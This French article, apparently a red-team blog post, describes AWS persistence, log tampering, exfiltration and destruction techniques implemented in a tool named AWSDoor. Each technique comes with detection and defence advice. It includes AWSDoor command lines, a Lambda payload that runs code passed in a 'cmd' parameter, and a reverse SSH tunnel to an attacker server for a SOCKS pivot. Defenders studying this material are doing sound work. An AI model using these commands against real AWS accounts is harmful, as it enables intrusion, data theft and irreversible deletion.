Par exemple, pour gérer les administrateurs de comptes, il est possible de créer une fonction Lambda qui ajoute des privilèges à un utilisateur lorsqu’il est ajouté à une base de données DynamoDB : la modification de DynamoDB déclenche le code Lambda, qui modifie alors les privilèges de l’utilisateur en fonction des changements dans la base de données.

Par conséquent, il n’est pas habituel d’associer une identité IAM à une fonction Lambda.

Rôle sur-privilégié

Un moyen d’obtenir une persistance sur un compte AWS consiste soit à associer une identité IAM sur-privilégiée à une fonction Lambda existante, soit à modifier le code d’une fonction Lambda déjà sur-privilégiée.

Par exemple, un attaquant peut :

•  Créer une fonction Lambda
•  Associer un rôle IAM privilégié (en utilisant par exemple l’astuce NotAction)
•  Ajouter un code Python permettant soit d’exécuter du code arbitraire, soit d’extraire les identifiants temporaires de la Lambda
•  Exposer le répertoire de la Lambda sur Internet via un API Gateway ou une Lambda Function

La figure suivante résume le déploiement de la persistance :

Lambda layers

La technique de persistance Lambda décrite ci-dessus est efficace, mais elle présente un inconvénient majeur : le code malveillant est facile à repérer. Si quelqu’un modifie la logique métier principale de la fonction ou examine le code source lors d’une enquête, la porte dérobée sera probablement découverte et supprimée.

Une approche plus subtile consiste à dissimuler la charge utile malveillante dans une Lambda layer plutôt que dans le code même de la fonction.

Une Lambda layer est un moyen de distribuer des dépendances partagées telles que des bibliothèques ou des environnements d’exécution personnalisés. Au lieu d’intégrer ces éléments directement dans la fonction, on peut les téléverser séparément et les attacher à une ou plusieurs fonctions Lambda. Cela allège le package de déploiement et facilite la réutilisation du code entre différents projets. Les layers sont couramment utilisées pour inclure des outils comme requests ou les SDK AWS (boto3) dans plusieurs fonctions.

Du point de vue d’AWS, la layer est attachée à la fonction, mais son contenu n’est pas affiché directement dans la console.

Comme illustré dans la capture d’écran ci-dessous, AWS se contente d’indiquer la présence de la layer ; pour l’inspecter, un utilisateur doit se rendre manuellement dans le panneau Lambda Layers et la télécharger au format ZIP.

L’utilisation d’un layer est visible (mais peut facilement passer inaperçue), mais pour télécharger le code, l’utilisateur doit se rendre dans un panneau spécifique Lambda Layer et le télécharger (sans l’afficher) au format ZIP :

Ces étapes supplémentaires peuvent rendre les défenseurs moins enclins à examiner le contenu de la layer lors de la phase initiale de triage.

Un attaquant peut exploiter cela en créant une couche contenant une version compromise d’une bibliothèque standard, telle que requests. En surchargeant une fonction interne avec un comportement malveillant, l’attaquant obtient une exécution de code à distance chaque fois que la fonction est utilisée.

Par exemple, après avoir téléchargé le package requests avec pip :

pip install -t python requests

L’attaquant modifie la fonction get() afin d’exécuter des commandes arbitraires :

Ensuite, le package est compressé au format ZIP et déployé en tant que layer, qui est attachée à la fonction cible :

Enfin, le code source de la fonction Lambda est mis à jour pour utiliser la bibliothèque compromise, ce qui peut sembler inoffensif à première vue :

Ce qui ressemble à une requête HTTP légitime est désormais un déclencheur pour un comportement malveillant caché. À moins que le défenseur n’inspecte le contenu réel de la couche attachée, cette porte dérobée peut rester indétectée.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/

Quelques paramètres supplémentaires peuvent être utilisés :

•  -l : utiliser une couche Lambda, sinon inclure le code malveillant directement dans la Lambda
•  -g : utiliser une API Gateway, sinon utiliser une FunctionURL

L’API Gateway est une méthode plus propre pour exposer une Lambda sur Internet ; cependant, il est possible de repérer facilement qu’elle est accessible depuis Internet, car cela est affiché comme un déclencheur.

La charge utile déployée par défaut prend un code Python passé en paramètre GET cmd, l’exécute, puis renvoie les données stockées dans la variable result:

curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` 
>> {result: “Hello World”}

Défense

Du point de vue d’un défenseur, les Lambda layers sont souvent négligées lors des réponses à incident, en particulier lorsque seul le code de la fonction est examiné. Comme les layers ne sont pas affichées en ligne dans la console Lambda et doivent être téléchargées manuellement sous forme d’archives ZIP, un contenu malveillant peut facilement passer inaperçu. Cela fait des layers un emplacement attractif pour les attaquants souhaitant dissimuler des portes dérobées ou des dépendances compromises.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à identifier et à réagir à une utilisation suspecte des couches Lambda :

•  Auditer les attachements de Lambda layers: l’événement UpdateFunctionConfiguration est enregistré par CloudTrail qu’un nouveau layer est attachée à une fonction Lambda. Il est alors possible de suivre les changements inhabituels ou les associations entre des équipes ou projets sans lien.
•  Restreindre la mise à jour des layers au flux CICD : empêcher toute modification de couche en dehors de la pipeline CICD, en établissant une liste blanche des rôles autorisés à le faire. Concentrer les efforts de détection et de chasse aux menaces sur les usages abusifs ou les mises à jour de ce rôle.
•  Vérifier les Lambda exposées directement sur Internet : exposer une Lambda sur Internet peut être un signe de déploiement de persistance. Toute modification inhabituelle de configuration impliquant l’exposition d’une telle ressource sur Internet doit être investiguée.

Bien que les layers soient une fonctionnalité puissante et utile, elles constituent un angle mort dans de nombreuses configurations de monitoring de la sécurité AWS.

EC2

Socks

AWS Systems Manager (SSM) offre un moyen puissant et flexible de gérer et d’interagir avec des instances EC2 sans nécessiter d’accès réseau direct tel que SSH ou RDP. Au cœur de son fonctionnement, SSM permet la gestion à distance en utilisant un agent installé sur l’instance, qui communique de manière sécurisée avec le service Systems Manager. Par ce canal, les administrateurs peuvent exécuter des commandes, lancer des scripts ou ouvrir des sessions shell interactives sur les instances, le tout sans les exposer à Internet public ni gérer de bastions d’accès.

L’un des principaux avantages de SSM est la réduction de la surface d’attaque grâce à la limitation des services exposés. Comme la communication est initiée depuis l’instance elle-même, qui se connecte aux points de terminaison du service SSM, cette approche fonctionne même dans un environnement réseau sécurisé où l’accès entrant est restreint.

D’un point de vue sécurité, bien que SSM réduise l’exposition, il introduit également de nouveaux risques. Par exemple, si un attaquant compromet une identité disposant des autorisations pour démarrer des sessions SSM ou envoyer des commandes, il peut obtenir une exécution de code à distance sur l’instance sans nécessiter de point d’appui réseau.

Un attaquant ayant accès au compte AWS peut exploiter les capacités de SSM pour compromettre une instance EC2 et l’utiliser comme pivot réseau. Une approche courante consiste à déployer un proxy SOCKS inversé via SSH. En utilisant SSM, l’attaquant peut exécuter des commandes sur l’instance EC2 pour y déployer une clé SSH, puis lancer une commande afin d’exposer le port SSH de l’EC2 vers son propre serveur :

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f

Ensuite, l’attaquant, depuis son serveur, peut ouvrir un proxy SOCKS via SSH à l’aide de la commande suivante :

ssh -D 4444 ssm-user@127.0.0.1:2222

Cela lui permet de faire transiter du trafic à travers l’instance EC2 compromise, en l’utilisant comme point d’appui à l’intérieur du réseau.

Exfiltration de snapshot

Bien qu’elle ne constitue pas un mécanisme de persistance, l’exfiltration de snapshot est une technique puissante d’exfiltration de données dans les environnements AWS. Elle exploite la possibilité de partager des snapshots Elastic Block Store (EBS) entre différents comptes AWS. Bien que cette fonctionnalité soit conçue pour la sauvegarde ou la collaboration, elle peut être détournée pour exfiltrer massivement des données.

Un attaquant disposant de permissions suffisantes dans un compte AWS compromis peut créer un snapshot d’un volume EBS, puis le partager avec un compte externe qu’il contrôle.

Depuis ce compte AWS externe, le snapshot peut être monté, copié et inspecté, donnant à l’attaquant un accès complet aux données du disque sous-jacent sans jamais rien télécharger directement depuis l’environnement cible.

Cette méthode est particulièrement dangereuse lorsqu’elle est appliquée à une infrastructure sensible. Par exemple, si un contrôleur de domaine est virtualisé dans AWS, un attaquant peut prendre un snapshot de son volume, le partager avec son propre compte AWS et en extraire des fichiers sensibles tels que ntds.dit.

Tout cela peut se produire sans qu’il soit nécessaire d’interagir avec l’instance via le réseau, en contournant ainsi tous les outils de sécurité déployés sur le réseau interne.

Il s’agit d’une technique d’exfiltration de données à faible bruit mais à fort impact, qui détourne des fonctionnalités natives d’AWS et passe inaperçue si des contrôles spécifiques ne sont pas en place.

AWSDoor

Ces deux techniques sont implémentées dans AWSDoor. Les commandes suivantes peuvent être utilisées pour exporter une instance EC2 spécifique :

python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   
 
[-] The following volumes will be snapshoted and shared with 503561426720:                                       
        - vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720

De la même manière, l’action SSH SOCKS peut être automatisée :

python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd

[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success

Détection

Pour la partie snapshot, CloudTrail enregistre plusieurs événements :

• CreateSnapshot : enregistré lorsqu’un snapshot est créé. Il s’agit d’une opération courante dans la plupart des environnements disposant de politiques de sauvegarde, donc pas intrinsèquement suspecte. Cependant, il est facile pour des attaquants de se fondre dans le bruit en imitant l’activité de sauvegarde standard.
• ModifySnapshotAttribute : enregistré lorsque le snapshot est partagé. Bien que la modification d’un attribut de snapshot ne soit pas inhabituelle, une simple analyse du contenu montre que le snapshot a été partagé avec un compte distant :

Il est donc possible de limiter ce type d’exploitation en surveillant l’événement ModifySnapshotAttribute et en s’assurant que la valeur de userId se situe dans la plage des comptes liés à l’organisation.

De même, une méthode relevant de la « sécurité par l’obscurité » consisterait à ajouter des balises spécifiques lorsque des snapshots sont effectués à des fins de sauvegarde, puis à déclencher une alerte lorsqu’un snapshot est créé sans la balise appropriée. La balise pourrait, par exemple, être un hachage de l’heure de création, dérivé d’un secret connu uniquement de l’outil de sauvegarde.

BackupTag=HMAC(creation_time, secret)

Pour l’exploitation en reverse SOCKS, cela dépend de la manière dont l’accès SSM est effectué :

• Depuis la console AWS (GUI) : un événement StartSession est enregistré dans CloudTrail lorsque l’attaquant démarre la connexion distante vers la machine. Le journal contient l’adresse IP de l’attaquant ainsi que l’identifiant EC2 ciblé.

• Depuis l’AWS CLI ou AWSDoor : l’événement StartSession n’est pas généré, mais c’est GetCommandInvocation qui est enregistré à la place.

Cependant, quelle que soit la technique utilisée, CloudTrail ne journalise pas la ligne de commande complète envoyée. Il reste donc pertinent et important d’ajouter une solution EDR directement sur les ressources.

Altération des défenses

L’altération des défenses désigne toute action délibérée entreprise par un attaquant pour affaiblir, désactiver ou contourner les capacités de surveillance et de détection d’un environnement cible. Dans AWS, cela implique généralement de manipuler les configurations de journalisation, de désactiver des services de sécurité ou de modifier les mécanismes d’alerte afin d’éviter la détection pendant ou après une attaque.

AWS fournit plusieurs services intégrés conçus pour surveiller l’activité, appliquer la conformité et alerter en cas de comportement suspect. Ces services incluen : CloudTrail pour la journalisation des appels API, CloudWatch Logs et CloudWatch Alarms pour la surveillance et l’alerte en temps réel, GuardDuty pour la détection des menaces, Security Hub pour la centralisation des constats de sécurité et Config pour le suivi de la configuration des ressources. Les environnements plus avancés peuvent également s’appuyer sur des SIEM tiers ou des plateformes CSPM intégrées à leurs comptes AWS.

La désactivation ou la modification de l’un de ces services peut réduire considérablement la visibilité dont disposent les défenseurs sur les activités malveillantes, faisant de l’altération des défenses une tactique essentielle dans de nombreuses attaques menées dans le cloud.

CloudTrail et CloudWatch

Introduction à la journalisation AWS

Dans les environnements AWS, CloudTrail et CloudWatch sont deux services essentiels de journalisation et de surveillance qui jouent des rôles complémentaires, mais avec des finalités très différentes. CloudTrail est conçu pour enregistrer toute l’activité API qui se produit dans un compte AWS. Il consigne chaque appel effectué via la console de gestion AWS, l’AWS CLI, les SDK ou autres services AWS. Ainsi, lorsqu’une personne crée une instance EC2, modifie un groupe de sécurité ou supprime une ressource, CloudTrail capture qui a effectué l’action, quand, où et quoi. Ces journaux sont indispensables pour l’audit, les enquêtes forensiques et le suivi des modifications apportées à l’infrastructure.

CloudWatch, quant à lui, se concentre sur la surveillance opérationnelle. Il collecte et stocke les journaux provenant des services et applications, suit des métriques comme l’utilisation CPU ou la consommation mémoire, et prend en charge les alarmes et tableaux de bord pour une visibilité en temps réel. Lorsqu’une application écrit des journaux ou que la surveillance des performances système est nécessaire, c’est CloudWatch qui est utilisé. Il peut également être configuré pour recevoir et stocker les journaux provenant de fonctions Lambda, d’instances EC2 ou d’applications personnalisées.

La journalisation réseau est également proposée par AWS via les services VPC Flow Logs ou VPC Mirroring. Bien qu’ils puissent être utilisés à des fins de sécurité, leur utilité principale est davantage orientée vers la surveillance opérationnelle. Cet article se concentrera sur le service CloudTrail.

CloudTrail est activé par défaut et conserve les événements pendant 90 jours. Ce service constitue une base de journalisation qui ne peut pas être restreinte ou désactivée. Cependant, des capacités de journalisation supplémentaires peuvent être activées en définissant des trails dans CloudTrail.

CloudTrail conserve les journaux et garantit leur intégrité pendant 90 jours, après quoi les journaux sont supprimés de l’Event History. Si une organisation souhaite assurer une durée de conservation plus longue ou mettre en place une surveillance en temps réel spécifique à partir de ces journaux, elle doit configurer un trail. Cette configuration duplique les journaux et les transfère vers un bucket S3, sur lequel peuvent être branchés des outils de sécurité supplémentaires.

En tant qu’administrateur Cloud, il est possible de créer un « Organization Trail » qui se réplique dans tous les comptes cibles de l’organisation. Une fois mis en place, il n’est pas possible pour un compte ciblé de supprimer ou de désactiver ce trail.

Arrêt de la journalisation

Attaque

S’il n’est pas facilement possible d’altérer les capacités de journalisation de CloudWatch, il est en revanche possible d’affecter celles de CloudTrail en désactivant simplement la fonction de journalisation.

Cette fonctionnalité permet d’interrompre l’enregistrement des événements par un trail sans pour autant le supprimer :

Bien que cette technique soit efficace pour altérer certaines capacités spécifiques de journalisation, elle présente plusieurs inconvénients majeurs :

• Effet limité : même si un trail spécifique est impacté, les Organization Trails ne peuvent pas être contournés de cette manière. De plus, l’Event History, avec sa période de rétention inaltérable de 90 jours, restera toujours disponible.
• Action bruyante : même si la commande d’arrêt n’est pas détectée, la plupart des solutions SIEM déclenchent des alertes lorsque le flux de journaux s’interrompt.

AWSDoor

Cette technique est implémentée dans AWSDoor:

python .\main.py --m CloudTrailStop -s
[+] Trail logging stopped on 'management-events'

La limitation réside dans le fait que cela ne désactivera que les trails définis dans le compte actuel et ne supprimera pas ceux définis au niveau de l’organisation.

Défense

Du côté du défenseur, cette technique peut être facilement détectée en consultant l’interface graphique. De plus, CloudTrail enregistre également l’événement StopLogging, indiquant qu’un trail a été altéré.

Sélecteur d’évènement

Attack

Dans AWS CloudTrail, les sélecteurs d’événements permettent un contrôle précis sur les types d’événements qu’un trail enregistre. Ces sélecteurs peuvent être configurés pour consigner les événements de gestion, les événements de données, ou les deux. Les événements de gestion enregistrent les opérations qui administrent les ressources AWS, comme le lancement d’une instance EC2 ou la modification de rôles IAM. Il s’agit généralement d’appels API de haut niveau effectués via la console, le SDK ou l’AWS CLI, et ils sont essentiels pour l’audit des actions administratives.

Par défaut, les trails enregistrent les événements de gestion, mais il est possible de modifier les sélecteurs d’événements pour les exclure partiellement ou totalement. Cette flexibilité peut être utile pour réduire le bruit ou les coûts dans des environnements fortement automatisés, mais elle introduit également un risque. Un attaquant disposant des autorisations adéquates pourrait manipuler les sélecteurs d’événements d’un trail afin de supprimer certains types de journaux, par exemple en désactivant l’enregistrement des événements de gestion, ce qui réduirait la visibilité sur les changements effectués pendant ou après une compromission.

Ainsi, en modifiant les sélecteurs d’événements, il est possible de dégrader les capacités de journalisation de CloudTrail, rendant plus difficile pour les défenseurs la détection d’activités non autorisées ou l’investigation d’incidents.

L’événement de gestion peut être simplement désactivé. Pour l’événement de données, afin d’éviter d’avoir un champ vide dans l’interface graphique, il est possible de forcer la configuration du sélecteur d’événements à n’enregistrer que des événements liés à une ressource inexistante :

AWSDoor

AWSDoor peut être utilisé pour reconfigurer le sélecteur d’événements afin d’empêcher la journalisation des événements de données et de gestion :

python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'

Une fois le script exécuté, le sélecteur d’événements est configuré. Le trail apparaît toujours comme actif:

Cependant, le sélecteur d’événements empêche toute journalisation ultérieure :

Défense

La création du sélecteur d’événements peut être détectée grâce à l’événement PutEventSelector enregistré dans CloudTrail :

De même, l’analyse de la collecte des journaux et de leur volumétrie constituerait un indicateur de compromission intéressant. Si le flux de journaux s’interrompt, il est probable qu’il s’agisse d’une attaque.

Destruction

Les attaques ciblant la destruction de données visent à provoquer d’importants dommages opérationnels en effaçant ou en corrompant de manière permanente des informations et des infrastructures critiques. Contrairement à l’exfiltration de données ou à l’élévation de privilèges, ces attaques ne cherchent pas à extraire de la valeur ou à maintenir un accès, mais plutôt à perturber la continuité des activités, nuire à la réputation ou saboter les systèmes de façon irréversible.

Dans les environnements cloud comme AWS, les attaques destructrices peuvent toucher tous types de ressources, comme par exemple : les ressources de stockage, les ressources de calcul ou les composants de configuration tels que les rôles IAM et les fonctions Lambda :

• La suppression de buckets S3 peut entraîner la perte de sauvegardes, de données clients ou d’informations réglementaires / techniques (journalisation).
• L’effacement de volumes EBS ou de snapshots RDS peut provoquer la perte totale de l’état d’une application ou de bases de données critiques.
• Le formatage du compte AWS (en supprimant tous les services possibles) peut causer une interruption de service très longue, même si les données sont sauvegardées en externe, en particulier si l’infrastructure n’est pas déployée via IaC ou si l’IaC est également détruit.

AWS Organization Leave

Organization Leave

AWS Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.

Chaque compte AWS au sein d’une organisation reste isolé en termes de ressources et d’identité, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. Cette structure est particulièrement utile pour séparer les données et les charges de travail par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.

AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.

Suppression de données

La suppression de toutes les données d’un compte AWS n’est que rarement instantanée. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.

Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).

Contrairement à la suppression de données, quitter une organisation est une action immédiate. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.

Exfiltration de données avant suppression

Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.

Par exemple, une entreprise héberge une application eShop sur AWS. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.

Avec le contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.

Du point de vue de l’entreprise, une fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci. Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.

Sans accès administrateur au compte désormais isolé, l’entreprise n’a aucun moyen de désactiver les services, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.

Privilèges requis

Pour exécuter l’action LeaveOrganization et détacher un compte AWS de son organisation, l’attaquant doit disposer de privilèges élevés au sein du compte ciblé. Plus précisément, les conditions et autorisations IAM suivantes sont requises :

• Accès au niveau du compte : l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.
• Permission organizations:LeaveOrganization : il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.
• Accès à la facturation : bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.

Défense and détection

Prévention des appels non autorisés à leaveorganization

Le contrôle le plus efficace est l’utilisation des Service Control Policies (SCP). Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.

L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.

La SCP, définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation. Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.

La politique suivante empêchera tout usage abusif de LeaveOrganization :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]

}

Cette SCP doit être attachée directement à la racine de l’AWS Organization afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.

Détection et Monitoring

Même avec des SCP en place, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.

Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.

Destruction de bucket S3

Politique standard de suppression S3

Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.

Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.

De plus, AWS applique une cohérence finale (eventual consistency) sur les suppressions d’objets : même après une requête de suppression, les objets peuvent persister temporairement. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.

Politique de cycle de vie

Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour gérer le cycle de vie du stockage des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet, un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.

Cependant, les politiques de cycle de vie fonctionnent différemment des processus manuels et contournent les protections standard conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). Une fois appliquée, cette politique est rétroactive : tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.

Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.

Étant donné que les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique, retirer le marquage de suppression et révoquer l’accès de l’attaquant.

AWSDoor

Cette technique est implémentée par AWSDoor:

python .\main.py --m S3ShadowDelete -n s3bucketname

Détection

La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.

À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration, qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).

Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.

Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, une remédiation automatique et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.

Conclusion

CSPM

L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.

Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.

EDR

Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.

Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.

Backup et journalisation

